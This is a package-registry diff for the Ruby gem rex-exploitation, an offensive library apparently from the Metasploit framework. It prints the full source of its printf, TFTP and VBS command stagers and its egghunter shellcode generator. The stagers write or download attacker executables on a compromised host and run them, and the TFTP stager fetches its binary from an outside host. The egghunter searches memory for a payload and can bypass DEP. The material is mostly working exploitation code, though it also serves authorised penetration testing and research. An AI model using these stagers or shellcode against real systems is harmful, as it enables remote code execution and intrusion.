rex-exploitation 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- checksums.yaml.gz.sig +0 -0
- data.tar.gz.sig +1 -0
- data/.gitignore +9 -0
- data/.rspec +2 -0
- data/.travis.yml +5 -0
- data/CODE_OF_CONDUCT.md +74 -0
- data/Gemfile +4 -0
- data/README.md +33 -0
- data/Rakefile +6 -0
- data/bin/console +14 -0
- data/bin/setup +8 -0
- data/data/exploits/cmdstager/debug_asm +91 -0
- data/data/exploits/cmdstager/debug_write +819 -0
- data/data/exploits/cmdstager/vbs_b64 +40 -0
- data/data/exploits/cmdstager/vbs_b64_adodb +50 -0
- data/data/exploits/cmdstager/vbs_b64_noquot +49 -0
- data/data/exploits/cmdstager/vbs_b64_sleep +41 -0
- data/data/js/detect/ie_addons.js +89 -0
- data/data/js/detect/misc_addons.js +157 -0
- data/data/js/detect/os.js +831 -0
- data/data/js/memory/explib2/lib/explib2.js +426 -0
- data/data/js/memory/explib2/payload/drop_exec.js +33 -0
- data/data/js/memory/explib2/payload/exec.js +10 -0
- data/data/js/memory/heap_spray.js +17 -0
- data/data/js/memory/heaplib2.js +192 -0
- data/data/js/memory/mstime_malloc.js +31 -0
- data/data/js/memory/property_spray.js +38 -0
- data/data/js/network/ajax_download.js +18 -0
- data/data/js/network/ajax_post.js +18 -0
- data/data/js/network/xhr_shim.js +15 -0
- data/data/js/utils/base64.js +126 -0
- data/data/ropdb/flash.xml +80 -0
- data/data/ropdb/hxds.xml +66 -0
- data/data/ropdb/java.xml +33 -0
- data/data/ropdb/msvcrt.xml +71 -0
- data/data/ropdb/reader.xml +132 -0
- data/data/ropdb/samba.xml +436 -0
- data/data/ropdb/stagefright.xml +225 -0
- data/lib/rex/exploitation.rb +7 -0
- data/lib/rex/exploitation/cmdstager.rb +11 -0
- data/lib/rex/exploitation/cmdstager/base.rb +189 -0
- data/lib/rex/exploitation/cmdstager/bourne.rb +118 -0
- data/lib/rex/exploitation/cmdstager/certutil.rb +114 -0
- data/lib/rex/exploitation/cmdstager/debug_asm.rb +139 -0
- data/lib/rex/exploitation/cmdstager/debug_write.rb +133 -0
- data/lib/rex/exploitation/cmdstager/echo.rb +166 -0
- data/lib/rex/exploitation/cmdstager/printf.rb +121 -0
- data/lib/rex/exploitation/cmdstager/tftp.rb +70 -0
- data/lib/rex/exploitation/cmdstager/vbs.rb +125 -0
- data/lib/rex/exploitation/egghunter.rb +423 -0
- data/lib/rex/exploitation/encryptjs.rb +79 -0
- data/lib/rex/exploitation/heaplib.js.b64 +331 -0
- data/lib/rex/exploitation/heaplib.rb +107 -0
- data/lib/rex/exploitation/js.rb +6 -0
- data/lib/rex/exploitation/js/detect.rb +70 -0
- data/lib/rex/exploitation/js/memory.rb +80 -0
- data/lib/rex/exploitation/js/network.rb +83 -0
- data/lib/rex/exploitation/js/utils.rb +32 -0
- data/lib/rex/exploitation/jsobfu.rb +17 -0
- data/lib/rex/exploitation/obfuscatejs.rb +336 -0
- data/lib/rex/exploitation/omelet.rb +321 -0
- data/lib/rex/exploitation/opcodedb.rb +819 -0
- data/lib/rex/exploitation/ropdb.rb +190 -0
- data/lib/rex/exploitation/seh.rb +93 -0
- data/lib/rex/exploitation/version.rb +5 -0
- data/rex-exploitation.gemspec +35 -0
- metadata +298 -0
- metadata.gz.sig +0 -0
@@ -0,0 +1,121 @@
|
|
1
|
+
# -*- coding: binary -*-
|
2
|
+
|
3
|
+
require 'rex/text'
|
4
|
+
require 'rex/arch'
|
5
|
+
require 'shellwords'
|
6
|
+
|
7
|
+
module Rex
|
8
|
+
module Exploitation
|
9
|
+
|
10
|
+
class CmdStagerPrintf < CmdStagerBase
|
11
|
+
|
12
|
+
def initialize(exe)
|
13
|
+
super
|
14
|
+
|
15
|
+
@var_elf = Rex::Text.rand_text_alpha(5)
|
16
|
+
end
|
17
|
+
|
18
|
+
#
|
19
|
+
# Override to ensure opts[:temp] is a correct *nix path
|
20
|
+
#
|
21
|
+
def generate(opts = {})
|
22
|
+
opts[:temp] = opts[:temp] || '/tmp/'
|
23
|
+
opts[:temp].gsub!(/\\/, '/')
|
24
|
+
opts[:temp] = opts[:temp].shellescape
|
25
|
+
opts[:temp] << '/' if opts[:temp][-1,1] != '/'
|
26
|
+
super
|
27
|
+
end
|
28
|
+
|
29
|
+
#
|
30
|
+
# Override to set the extra byte count
|
31
|
+
#
|
32
|
+
def generate_cmds(opts)
|
33
|
+
if opts[:noquotes]
|
34
|
+
@cmd_start = "printf "
|
35
|
+
@cmd_end = ">>#{@tempdir}#{@var_elf}"
|
36
|
+
@prefix = '\\\\'
|
37
|
+
min_part_size = 5
|
38
|
+
else
|
39
|
+
@cmd_start = "printf '"
|
40
|
+
@cmd_end = "'>>#{@tempdir}#{@var_elf}"
|
41
|
+
@prefix = '\\'
|
42
|
+
min_part_size = 4
|
43
|
+
end
|
44
|
+
xtra_len = @cmd_start.length + @cmd_end.length
|
45
|
+
opts.merge!({ :extra => xtra_len })
|
46
|
+
|
47
|
+
if (opts[:linemax] - opts[:extra]) < min_part_size
|
48
|
+
raise RuntimeError, "Not enough space for command - #{opts[:extra] + min_part_size} byte required, #{opts[:linemax]} byte available"
|
49
|
+
end
|
50
|
+
|
51
|
+
super
|
52
|
+
end
|
53
|
+
|
54
|
+
#
|
55
|
+
# Encode into a "\12\345" octal format that printf understands
|
56
|
+
#
|
57
|
+
def encode_payload(opts)
|
58
|
+
return Rex::Text.to_octal(@exe, @prefix)
|
59
|
+
end
|
60
|
+
|
61
|
+
#
|
62
|
+
# Override it to ensure that the octal representation of a byte isn't cut
|
63
|
+
#
|
64
|
+
def slice_up_payload(encoded, opts)
|
65
|
+
encoded_dup = encoded.dup
|
66
|
+
|
67
|
+
parts = []
|
68
|
+
xtra_len = opts[:extra]
|
69
|
+
xtra_len ||= 0
|
70
|
+
while (encoded_dup.length > 0)
|
71
|
+
temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len))
|
72
|
+
|
73
|
+
# remove the last octal escape if it is imcomplete
|
74
|
+
if encoded_dup.length > temp.length and encoded_dup[temp.length, @prefix.length] != @prefix
|
75
|
+
pos = temp.rindex('\\')
|
76
|
+
pos -= 1 if temp[pos-1] == '\\'
|
77
|
+
temp.slice!(pos..temp.length-1)
|
78
|
+
end
|
79
|
+
|
80
|
+
parts << temp
|
81
|
+
encoded_dup.slice!(0, temp.length)
|
82
|
+
end
|
83
|
+
|
84
|
+
parts
|
85
|
+
end
|
86
|
+
|
87
|
+
#
|
88
|
+
# Combine the parts of the encoded file with the stuff that goes
|
89
|
+
# before and after it.
|
90
|
+
#
|
91
|
+
def parts_to_commands(parts, opts)
|
92
|
+
parts.map do |p|
|
93
|
+
@cmd_start + p + @cmd_end
|
94
|
+
end
|
95
|
+
end
|
96
|
+
|
97
|
+
#
|
98
|
+
# Since the binary has been already dropped to disk, just execute and
|
99
|
+
# delete it
|
100
|
+
#
|
101
|
+
def generate_cmds_decoder(opts)
|
102
|
+
cmds = []
|
103
|
+
# Make it all happen
|
104
|
+
cmds << "chmod +x #{@tempdir}#{@var_elf}"
|
105
|
+
cmds << "#{@tempdir}#{@var_elf}"
|
106
|
+
|
107
|
+
# Clean up after unless requested not to..
|
108
|
+
unless opts[:nodelete]
|
109
|
+
cmds << "rm -f #{@tempdir}#{@var_elf}"
|
110
|
+
end
|
111
|
+
|
112
|
+
return cmds
|
113
|
+
end
|
114
|
+
|
115
|
+
def cmd_concat_operator
|
116
|
+
" ; "
|
117
|
+
end
|
118
|
+
|
119
|
+
end
|
120
|
+
end
|
121
|
+
end
|
@@ -0,0 +1,70 @@
|
|
1
|
+
# -*- coding: binary -*-
|
2
|
+
|
3
|
+
require 'rex/text'
|
4
|
+
require 'rex/arch'
|
5
|
+
|
6
|
+
module Rex
|
7
|
+
module Exploitation
|
8
|
+
|
9
|
+
###
|
10
|
+
#
|
11
|
+
# This class provides the ability to create a sequence of commands from an executable.
|
12
|
+
# When this sequence is ran via command injection or a shell, the resulting exe will
|
13
|
+
# be written to disk and executed.
|
14
|
+
#
|
15
|
+
# This particular version uses tftp.exe to download a binary from the specified
|
16
|
+
# server. The original file is preserve, not encoded at all, and so this version
|
17
|
+
# is significantly simpler than other methods.
|
18
|
+
#
|
19
|
+
# Requires: tftp.exe, outbound udp connectivity to a tftp server
|
20
|
+
#
|
21
|
+
# Written by Joshua J. Drake
|
22
|
+
#
|
23
|
+
###
|
24
|
+
|
25
|
+
class CmdStagerTFTP < CmdStagerBase
|
26
|
+
|
27
|
+
def initialize(exe)
|
28
|
+
super
|
29
|
+
@payload_exe = Rex::Text.rand_text_alpha(8) + ".exe"
|
30
|
+
end
|
31
|
+
|
32
|
+
def setup(mod)
|
33
|
+
self.tftp = Rex::Proto::TFTP::Server.new
|
34
|
+
self.tftp.register_file(Rex::Text.rand_text_alphanumeric(8), exe)
|
35
|
+
self.tftp.start
|
36
|
+
mod.add_socket(self.tftp) # Hating myself for doing it... but it's just a first demo
|
37
|
+
end
|
38
|
+
|
39
|
+
def teardown(mod = nil)
|
40
|
+
self.tftp.stop
|
41
|
+
end
|
42
|
+
|
43
|
+
#
|
44
|
+
# We override compress commands just to stick in a few extra commands
|
45
|
+
# last second..
|
46
|
+
#
|
47
|
+
def compress_commands(cmds, opts)
|
48
|
+
# Initiate the download
|
49
|
+
cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:transid]} #{@tempdir + @payload_exe}"
|
50
|
+
|
51
|
+
# Make it all happen
|
52
|
+
cmds << "start #{@tempdir + @payload_exe}"
|
53
|
+
|
54
|
+
# Clean up after unless requested not to..
|
55
|
+
if (not opts[:nodelete])
|
56
|
+
# XXX: We won't be able to delete the payload while it is running..
|
57
|
+
end
|
58
|
+
|
59
|
+
super
|
60
|
+
end
|
61
|
+
|
62
|
+
# NOTE: We don't use a concatenation operator here since we only have a couple commands.
|
63
|
+
# There really isn't any need to combine them. Also, the ms01_026 exploit depends on
|
64
|
+
# the start command being issued separately so that it can ignore it :)
|
65
|
+
attr_reader :exe
|
66
|
+
attr_reader :payload_exe
|
67
|
+
attr_accessor :tftp
|
68
|
+
end
|
69
|
+
end
|
70
|
+
end
|
@@ -0,0 +1,125 @@
|
|
1
|
+
# -*- coding: binary -*-
|
2
|
+
|
3
|
+
require 'rex/text'
|
4
|
+
require 'rex/arch'
|
5
|
+
|
6
|
+
module Rex
|
7
|
+
module Exploitation
|
8
|
+
|
9
|
+
###
|
10
|
+
#
|
11
|
+
# This class provides the ability to create a sequence of commands from an executable.
|
12
|
+
# When this sequence is ran via command injection or a shell, the resulting exe will
|
13
|
+
# be written to disk and executed.
|
14
|
+
#
|
15
|
+
# This particular version uses Windows Scripting (VBS) to base64 decode a file,
|
16
|
+
# created via echo >>, and decode it to the final binary.
|
17
|
+
#
|
18
|
+
# Requires: Windows Scripting
|
19
|
+
# Known Issue: errors with non-ascii-native systems
|
20
|
+
#
|
21
|
+
# Written by bannedit
|
22
|
+
#
|
23
|
+
###
|
24
|
+
|
25
|
+
class CmdStagerVBS < CmdStagerBase
|
26
|
+
|
27
|
+
def initialize(exe)
|
28
|
+
super
|
29
|
+
|
30
|
+
@var_decoder = Rex::Text.rand_text_alpha(5)
|
31
|
+
@var_encoded = Rex::Text.rand_text_alpha(5)
|
32
|
+
@var_decoded = Rex::Text.rand_text_alpha(5)
|
33
|
+
@decoder = nil # filled in later
|
34
|
+
end
|
35
|
+
|
36
|
+
|
37
|
+
#
|
38
|
+
# Override just to set the extra byte count
|
39
|
+
#
|
40
|
+
def generate_cmds(opts)
|
41
|
+
# Set the start/end of the commands here (vs initialize) so we have @tempdir
|
42
|
+
@cmd_start = "echo "
|
43
|
+
@cmd_end = ">>#{@tempdir}#{@var_encoded}.b64"
|
44
|
+
xtra_len = @cmd_start.length + @cmd_end.length + 1
|
45
|
+
opts.merge!({ :extra => xtra_len })
|
46
|
+
super
|
47
|
+
end
|
48
|
+
|
49
|
+
|
50
|
+
#
|
51
|
+
# Simple base64...
|
52
|
+
#
|
53
|
+
def encode_payload(opts)
|
54
|
+
Rex::Text.encode_base64(@exe)
|
55
|
+
end
|
56
|
+
|
57
|
+
|
58
|
+
#
|
59
|
+
# Combine the parts of the encoded file with the stuff that goes
|
60
|
+
# before / after it.
|
61
|
+
#
|
62
|
+
def parts_to_commands(parts, opts)
|
63
|
+
|
64
|
+
cmds = []
|
65
|
+
parts.each do |p|
|
66
|
+
cmd = ''
|
67
|
+
cmd << @cmd_start
|
68
|
+
cmd << p
|
69
|
+
cmd << @cmd_end
|
70
|
+
cmds << cmd
|
71
|
+
end
|
72
|
+
|
73
|
+
cmds
|
74
|
+
end
|
75
|
+
|
76
|
+
|
77
|
+
#
|
78
|
+
# Generate the commands that will decode the file we just created
|
79
|
+
#
|
80
|
+
def generate_cmds_decoder(opts)
|
81
|
+
|
82
|
+
# Allow decoder stub override (needs to input base64 and output bin)
|
83
|
+
@decoder = opts[:decoder] if (opts[:decoder])
|
84
|
+
|
85
|
+
# Read the decoder data file
|
86
|
+
f = File.new(@decoder, "rb")
|
87
|
+
decoder = f.read(f.stat.size)
|
88
|
+
f.close
|
89
|
+
|
90
|
+
# Replace variables
|
91
|
+
decoder.gsub!(/decode_stub/, "#{@tempdir}#{@var_decoder}.vbs")
|
92
|
+
decoder.gsub!(/ENCODED/, "#{@tempdir}#{@var_encoded}.b64")
|
93
|
+
decoder.gsub!(/DECODED/, "#{@tempdir}#{@var_decoded}.exe")
|
94
|
+
|
95
|
+
# Split it apart by the lines
|
96
|
+
decoder.split("\n")
|
97
|
+
end
|
98
|
+
|
99
|
+
|
100
|
+
#
|
101
|
+
# We override compress commands just to stick in a few extra commands
|
102
|
+
# last second..
|
103
|
+
#
|
104
|
+
def compress_commands(cmds, opts)
|
105
|
+
# Make it all happen
|
106
|
+
cmds << "cscript //nologo #{@tempdir}#{@var_decoder}.vbs"
|
107
|
+
|
108
|
+
# Clean up after unless requested not to..
|
109
|
+
if (not opts[:nodelete])
|
110
|
+
cmds << "del #{@tempdir}#{@var_decoder}.vbs"
|
111
|
+
cmds << "del #{@tempdir}#{@var_encoded}.b64"
|
112
|
+
# NOTE: We won't be able to delete the exe while it's in use.
|
113
|
+
end
|
114
|
+
|
115
|
+
super
|
116
|
+
end
|
117
|
+
|
118
|
+
# Windows uses & to concat strings
|
119
|
+
def cmd_concat_operator
|
120
|
+
" & "
|
121
|
+
end
|
122
|
+
|
123
|
+
end
|
124
|
+
end
|
125
|
+
end
|
@@ -0,0 +1,423 @@
|
|
1
|
+
# -*- coding: binary -*-
|
2
|
+
require 'rex/text'
|
3
|
+
require 'rex/arch'
|
4
|
+
require 'metasm'
|
5
|
+
|
6
|
+
module Rex
|
7
|
+
module Exploitation
|
8
|
+
|
9
|
+
###
|
10
|
+
#
|
11
|
+
# This class provides an interface to generating egghunters. Egghunters are
|
12
|
+
# used to search process address space for a known byte sequence. This is
|
13
|
+
# useful in situations where there is limited room for a payload when an
|
14
|
+
# overflow occurs, but it's possible to stick a larger payload somewhere else
|
15
|
+
# in memory that may not be directly predictable.
|
16
|
+
#
|
17
|
+
# Original implementation by skape
|
18
|
+
# (See http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf)
|
19
|
+
#
|
20
|
+
# Checksum checking implemented by dijital1/corelanc0d3r
|
21
|
+
# Checksum code merged to Egghunter by jduck
|
22
|
+
# Conversion to use Metasm by jduck
|
23
|
+
# Startreg code added by corelanc0d3r
|
24
|
+
# Added routine to disable DEP for discovered egg (for win, added by corelanc0d3r)
|
25
|
+
# Added support for searchforward option (true or false)
|
26
|
+
#
|
27
|
+
###
|
28
|
+
class Egghunter
|
29
|
+
|
30
|
+
###
|
31
|
+
#
|
32
|
+
# Windows-based egghunters
|
33
|
+
#
|
34
|
+
###
|
35
|
+
module Windows
|
36
|
+
Alias = "win"
|
37
|
+
|
38
|
+
module X86
|
39
|
+
Alias = ARCH_X86
|
40
|
+
|
41
|
+
#
|
42
|
+
# The egg hunter stub for win/x86.
|
43
|
+
#
|
44
|
+
def hunter_stub(payload, badchars = '', opts = {})
|
45
|
+
|
46
|
+
startreg = opts[:startreg]
|
47
|
+
searchforward = opts[:searchforward]
|
48
|
+
|
49
|
+
raise RuntimeError, "Invalid egg string! Need 4 bytes." if opts[:eggtag].length != 4
|
50
|
+
marker = "0x%x" % opts[:eggtag].unpack('V').first
|
51
|
+
|
52
|
+
checksum = checksum_stub(payload, badchars, opts)
|
53
|
+
|
54
|
+
startstub = ''
|
55
|
+
if startreg
|
56
|
+
if startreg.downcase != 'edx'
|
57
|
+
startstub = "\n\tmov edx,#{startreg}\n\tjmp next_addr"
|
58
|
+
else
|
59
|
+
startstub = "\n\tjmp next_addr"
|
60
|
+
end
|
61
|
+
end
|
62
|
+
startstub << "\n\t" if startstub.length > 0
|
63
|
+
|
64
|
+
# search forward or backward ?
|
65
|
+
flippage = "\n\tor dx,0xfff"
|
66
|
+
edxdirection = "\n\tinc edx"
|
67
|
+
|
68
|
+
if searchforward.to_s.downcase == 'false'
|
69
|
+
# go backwards
|
70
|
+
flippage = "\n\txor dl,dl"
|
71
|
+
edxdirection = "\n\tdec edx"
|
72
|
+
end
|
73
|
+
|
74
|
+
# other vars
|
75
|
+
getpointer = ''
|
76
|
+
getsize = ''
|
77
|
+
getalloctype = ''
|
78
|
+
getpc = ''
|
79
|
+
jmppayload = "jmp edi"
|
80
|
+
|
81
|
+
apireg = opts[:depreg] || 'esi'
|
82
|
+
apidest = opts[:depdest]
|
83
|
+
depsize = opts[:depsize]
|
84
|
+
|
85
|
+
freeregs = [ "esi", "ebp", "ecx", "ebx" ]
|
86
|
+
|
87
|
+
reginfo = {
|
88
|
+
"ebx"=>["bx","bl","bh"],
|
89
|
+
"ecx"=>["cx","cl","ch"]
|
90
|
+
}
|
91
|
+
|
92
|
+
if opts[:depmethod]
|
93
|
+
|
94
|
+
if freeregs.index(apireg) == nil
|
95
|
+
getpointer << "mov #{freeregs[0]},#{apireg}\n\t"
|
96
|
+
apireg = freeregs[0]
|
97
|
+
end
|
98
|
+
freeregs.delete(apireg)
|
99
|
+
|
100
|
+
if opts[:depmethod].downcase == "virtualalloc"
|
101
|
+
depsize = 0xfff
|
102
|
+
end
|
103
|
+
|
104
|
+
if opts[:depmethod].downcase == "copy" || opts[:depmethod].downcase == "copy_size"
|
105
|
+
if apidest
|
106
|
+
if freeregs.index(apidest) == nil
|
107
|
+
getpointer << "mov #{freeregs[0]},#{apidest}\n\t"
|
108
|
+
apidest = freeregs[0]
|
109
|
+
end
|
110
|
+
else
|
111
|
+
getpc = "fldpi\n\tfstenv [esp-0xc]\n\tpop #{freeregs[0]}\n\t"
|
112
|
+
apidest = freeregs[0]
|
113
|
+
end
|
114
|
+
freeregs.delete(apidest)
|
115
|
+
end
|
116
|
+
|
117
|
+
|
118
|
+
sizereg = freeregs[0]
|
119
|
+
|
120
|
+
if not depsize
|
121
|
+
depsize = payload.length * 2
|
122
|
+
if opts[:depmethod]
|
123
|
+
if opts[:depmethod].downcase == "copy_size"
|
124
|
+
depsize = payload.length
|
125
|
+
end
|
126
|
+
end
|
127
|
+
end
|
128
|
+
|
129
|
+
if depsize <= 127
|
130
|
+
getsize << "push 0x%02x\n\t" % depsize
|
131
|
+
else
|
132
|
+
sizebytes = "%04x" % depsize
|
133
|
+
low = sizebytes[2,4]
|
134
|
+
high = sizebytes[0,2]
|
135
|
+
if sizereg == "ecx" || sizereg == "ebx"
|
136
|
+
regvars = reginfo[sizereg]
|
137
|
+
getsize << "xor #{sizereg},#{sizereg}\n\t"
|
138
|
+
if low != "00" and high != "00"
|
139
|
+
getsize << "mov #{regvars[0]},0x%s\n\t" % sizebytes
|
140
|
+
elsif low != "00"
|
141
|
+
getsize << "mov #{regvars[1]},0x%s\n\t" % low
|
142
|
+
elsif high != "00"
|
143
|
+
getsize << "mov #{regvars[2]},0x%s\n\t" % high
|
144
|
+
end
|
145
|
+
end
|
146
|
+
if sizereg == "ebp"
|
147
|
+
if low != "00" and high != "00"
|
148
|
+
getsize << "xor #{sizereg},#{sizereg}\n\t"
|
149
|
+
getsize << "mov bp,0x%s\n\t" % sizebytes
|
150
|
+
end
|
151
|
+
end
|
152
|
+
# last resort
|
153
|
+
if getsize == ''
|
154
|
+
blockcnt = 0
|
155
|
+
vpsize = 0
|
156
|
+
blocksize = depsize
|
157
|
+
while blocksize > 127
|
158
|
+
blocksize = blocksize / 2
|
159
|
+
blockcnt += 1
|
160
|
+
end
|
161
|
+
getsize << "xor #{sizereg},#{sizereg}\n\tadd #{sizereg},0x%02x\n\t" % blocksize
|
162
|
+
vpsize = blocksize
|
163
|
+
depblockcnt = 0
|
164
|
+
while depblockcnt < blockcnt
|
165
|
+
getsize << "add #{sizereg},#{sizereg}\n\t"
|
166
|
+
vpsize += vpsize
|
167
|
+
depblockcnt += 1
|
168
|
+
end
|
169
|
+
delta = depsize - vpsize
|
170
|
+
if delta > 0
|
171
|
+
getsize << "add #{sizereg},0x%02x\n\t" % delta
|
172
|
+
end
|
173
|
+
end
|
174
|
+
if opts[:depmethod].downcase == "virtualalloc"
|
175
|
+
getsize << "inc #{sizereg}\n\t"
|
176
|
+
end
|
177
|
+
|
178
|
+
getsize << "push #{sizereg}\n\t"
|
179
|
+
|
180
|
+
end
|
181
|
+
|
182
|
+
getalloctype = getsize
|
183
|
+
|
184
|
+
case opts[:depmethod].downcase
|
185
|
+
when "virtualprotect"
|
186
|
+
jmppayload = "push esp\n\tpush 0x40\n\t"
|
187
|
+
jmppayload << getsize
|
188
|
+
jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret"
|
189
|
+
when "virtualalloc"
|
190
|
+
jmppayload = "push 0x40\n\t"
|
191
|
+
jmppayload << getalloctype
|
192
|
+
jmppayload << "push 0x01\n\t"
|
193
|
+
jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret"
|
194
|
+
when "copy"
|
195
|
+
jmppayload = getpc
|
196
|
+
jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret"
|
197
|
+
when "copy_size"
|
198
|
+
jmppayload = getpc
|
199
|
+
jmppayload << getsize
|
200
|
+
jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret"
|
201
|
+
end
|
202
|
+
end
|
203
|
+
|
204
|
+
jmppayload << "\n" if jmppayload.length > 0
|
205
|
+
|
206
|
+
assembly = <<EOS
|
207
|
+
#{getpointer}
|
208
|
+
#{startstub}
|
209
|
+
check_readable:
|
210
|
+
#{flippage}
|
211
|
+
next_addr:
|
212
|
+
#{edxdirection}
|
213
|
+
push edx
|
214
|
+
push 0x02 ; use NtAccessCheckAndAuditAlarm syscall
|
215
|
+
pop eax
|
216
|
+
int 0x2e
|
217
|
+
cmp al,5
|
218
|
+
pop edx
|
219
|
+
je check_readable
|
220
|
+
check_for_tag:
|
221
|
+
; check that the tag matches once
|
222
|
+
mov eax,#{marker}
|
223
|
+
mov edi,edx
|
224
|
+
scasd
|
225
|
+
jne next_addr
|
226
|
+
; it must match a second time too
|
227
|
+
scasd
|
228
|
+
jne next_addr
|
229
|
+
; check the checksum if the feature is enabled
|
230
|
+
#{checksum}
|
231
|
+
; jump to the payload
|
232
|
+
#{jmppayload}
|
233
|
+
EOS
|
234
|
+
|
235
|
+
assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string
|
236
|
+
|
237
|
+
# return the stub
|
238
|
+
assembled_code
|
239
|
+
end
|
240
|
+
|
241
|
+
end
|
242
|
+
end
|
243
|
+
|
244
|
+
###
|
245
|
+
#
|
246
|
+
# Linux-based egghunters
|
247
|
+
#
|
248
|
+
###
|
249
|
+
module Linux
|
250
|
+
Alias = "linux"
|
251
|
+
|
252
|
+
module X86
|
253
|
+
Alias = ARCH_X86
|
254
|
+
|
255
|
+
#
|
256
|
+
# The egg hunter stub for linux/x86.
|
257
|
+
#
|
258
|
+
def hunter_stub(payload, badchars = '', opts = {})
|
259
|
+
|
260
|
+
startreg = opts[:startreg]
|
261
|
+
|
262
|
+
raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4
|
263
|
+
marker = "0x%x" % opts[:eggtag].unpack('V').first
|
264
|
+
|
265
|
+
checksum = checksum_stub(payload, badchars, opts)
|
266
|
+
|
267
|
+
startstub = ''
|
268
|
+
if startreg
|
269
|
+
if startreg.downcase != 'ecx'
|
270
|
+
startstub = "\n\tmov ecx,#{startreg}\n\tjmp next_addr"
|
271
|
+
else
|
272
|
+
startstub = "\n\tjmp next_addr"
|
273
|
+
end
|
274
|
+
end
|
275
|
+
startstub << "\n\t" if startstub.length > 0
|
276
|
+
|
277
|
+
assembly = <<EOS
|
278
|
+
cld
|
279
|
+
#{startstub}
|
280
|
+
check_readable:
|
281
|
+
or cx,0xfff
|
282
|
+
next_addr:
|
283
|
+
inc ecx
|
284
|
+
push 0x43 ; use 'sigaction' syscall
|
285
|
+
pop eax
|
286
|
+
int 0x80
|
287
|
+
cmp al,0xf2
|
288
|
+
je check_readable
|
289
|
+
|
290
|
+
check_for_tag:
|
291
|
+
; check that the tag matches once
|
292
|
+
mov eax,#{marker}
|
293
|
+
mov edi,ecx
|
294
|
+
scasd
|
295
|
+
jne next_addr
|
296
|
+
; it must match a second time too
|
297
|
+
scasd
|
298
|
+
jne next_addr
|
299
|
+
|
300
|
+
; check the checksum if the feature is enabled
|
301
|
+
#{checksum}
|
302
|
+
|
303
|
+
; jump to the payload
|
304
|
+
jmp edi
|
305
|
+
EOS
|
306
|
+
|
307
|
+
assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string
|
308
|
+
|
309
|
+
# return the stub
|
310
|
+
assembled_code
|
311
|
+
end
|
312
|
+
|
313
|
+
end
|
314
|
+
end
|
315
|
+
|
316
|
+
###
|
317
|
+
#
|
318
|
+
# Generic interface
|
319
|
+
#
|
320
|
+
###
|
321
|
+
|
322
|
+
#
|
323
|
+
# Creates a new egghunter instance and acquires the sub-class that should
|
324
|
+
# be used for generating the stub based on the supplied platform and
|
325
|
+
# architecture.
|
326
|
+
#
|
327
|
+
def initialize(platform, arch = nil)
|
328
|
+
Egghunter.constants.each { |c|
|
329
|
+
mod = self.class.const_get(c)
|
330
|
+
|
331
|
+
next if ((!mod.kind_of?(::Module)) or
|
332
|
+
(!mod.const_defined?('Alias')))
|
333
|
+
|
334
|
+
if (platform =~ /#{mod.const_get('Alias')}/i)
|
335
|
+
self.extend(mod)
|
336
|
+
|
337
|
+
if (arch and mod)
|
338
|
+
mod.constants.each { |a|
|
339
|
+
amod = mod.const_get(a)
|
340
|
+
|
341
|
+
next if ((!amod.kind_of?(::Module)) or
|
342
|
+
(!amod.const_defined?('Alias')))
|
343
|
+
|
344
|
+
if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
|
345
|
+
amod = mod.const_get(a)
|
346
|
+
|
347
|
+
self.extend(amod)
|
348
|
+
end
|
349
|
+
}
|
350
|
+
end
|
351
|
+
end
|
352
|
+
}
|
353
|
+
end
|
354
|
+
|
355
|
+
#
|
356
|
+
# This method generates an egghunter using the derived hunter stub.
|
357
|
+
#
|
358
|
+
def generate(payload, badchars = '', opts = {})
|
359
|
+
# set defaults if options are missing
|
360
|
+
|
361
|
+
# NOTE: there is no guarantee this won't exist in memory, even when doubled.
|
362
|
+
# To address this, use the checksum feature :)
|
363
|
+
opts[:eggtag] ||= Rex::Text.rand_text(4, badchars)
|
364
|
+
|
365
|
+
# Generate the hunter_stub portion
|
366
|
+
return nil if ((hunter = hunter_stub(payload, badchars, opts)) == nil)
|
367
|
+
|
368
|
+
# Generate the marker bits to be prefixed to the real payload
|
369
|
+
egg = ''
|
370
|
+
egg << opts[:eggtag] * 2
|
371
|
+
egg << payload
|
372
|
+
if opts[:checksum]
|
373
|
+
cksum = 0
|
374
|
+
payload.each_byte { |b|
|
375
|
+
cksum += b
|
376
|
+
}
|
377
|
+
egg << [cksum & 0xff].pack('C')
|
378
|
+
end
|
379
|
+
|
380
|
+
return [ hunter, egg ]
|
381
|
+
end
|
382
|
+
|
383
|
+
protected
|
384
|
+
|
385
|
+
#
|
386
|
+
# Stub method that is meant to be overridden. It returns the raw stub that
|
387
|
+
# should be used as the egghunter.
|
388
|
+
#
|
389
|
+
def hunter_stub(payload, badchars = '', opts = {})
|
390
|
+
end
|
391
|
+
|
392
|
+
def checksum_stub(payload, badchars = '', opts = {})
|
393
|
+
return '' if not opts[:checksum]
|
394
|
+
|
395
|
+
if payload.length < 0x100
|
396
|
+
cmp_reg = "cl"
|
397
|
+
elsif payload.length < 0x10000
|
398
|
+
cmp_reg = "cx"
|
399
|
+
else
|
400
|
+
raise RuntimeError, "Payload too big!"
|
401
|
+
end
|
402
|
+
egg_size = "0x%x" % payload.length
|
403
|
+
|
404
|
+
checksum = <<EOS
|
405
|
+
push ecx
|
406
|
+
xor ecx,ecx
|
407
|
+
xor eax,eax
|
408
|
+
calc_chksum_loop:
|
409
|
+
add al,byte [edi+ecx]
|
410
|
+
inc ecx
|
411
|
+
cmp #{cmp_reg},#{egg_size}
|
412
|
+
jnz calc_chksum_loop
|
413
|
+
test_chksum:
|
414
|
+
cmp al,byte [edi+ecx]
|
415
|
+
pop ecx
|
416
|
+
jnz next_addr
|
417
|
+
EOS
|
418
|
+
end
|
419
|
+
|
420
|
+
end
|
421
|
+
|
422
|
+
end
|
423
|
+
end
|